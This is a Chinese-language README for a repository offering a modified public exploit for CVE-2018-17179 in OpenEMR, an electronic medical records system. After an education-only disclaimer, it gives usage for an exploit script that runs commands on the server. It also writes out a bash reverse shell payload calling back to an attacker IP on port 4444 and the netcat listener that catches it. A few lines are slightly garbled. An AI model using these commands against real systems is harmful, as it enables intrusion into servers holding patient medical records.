⚠️ 免责声明
本仓库严格仅用于教育和研究目的。
此处提供的信息和代码只能在受控环境(如私有实验机器)中使用。
未经授权对你不拥有或未获得明确测试许可的系统使用此代码是非法且不道德的。
作者对任何滥用或造成的损害不承担任何责任。
CVE-2018-17179 影响 OpenEMR,这是一款广泛使用的开源电子病历和诊所管理软件。
rest_routes.php 端点的身份验证机制存在缺陷,允许已认证用户在服务器上执行任意命令。
这可能导致 Web 服务器用户上下文下的远程代码执行 (RCE)。
rest_routes.php 的 interface/main/main_screen.php本仓库提供了 Exploit-DB 上公开漏洞的修改版本:
在此定制化的漏洞利用中:
针对本地测试 OpenEMR 登录面板:

用法:python2 exploit.py <target_url> -u -p -c
示例: python2 exploit.py http:///openemr -u admin -p secretpass -c 'id'
- 确保已安装 Python 2。
- 用户必须能够访问易受攻击的 `rest_routes.php` 端点。
执行漏洞利用
使用 bash 反弹 shell 载荷运行修改后的漏洞利用脚本:
python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'

在端口 4444 上运行的 Netcat 监听器成功接收了反弹 shell:
nc -nvlp 4444

查看我在 Medium 上的详细解析和理论:
👉 阅读 Medium 博客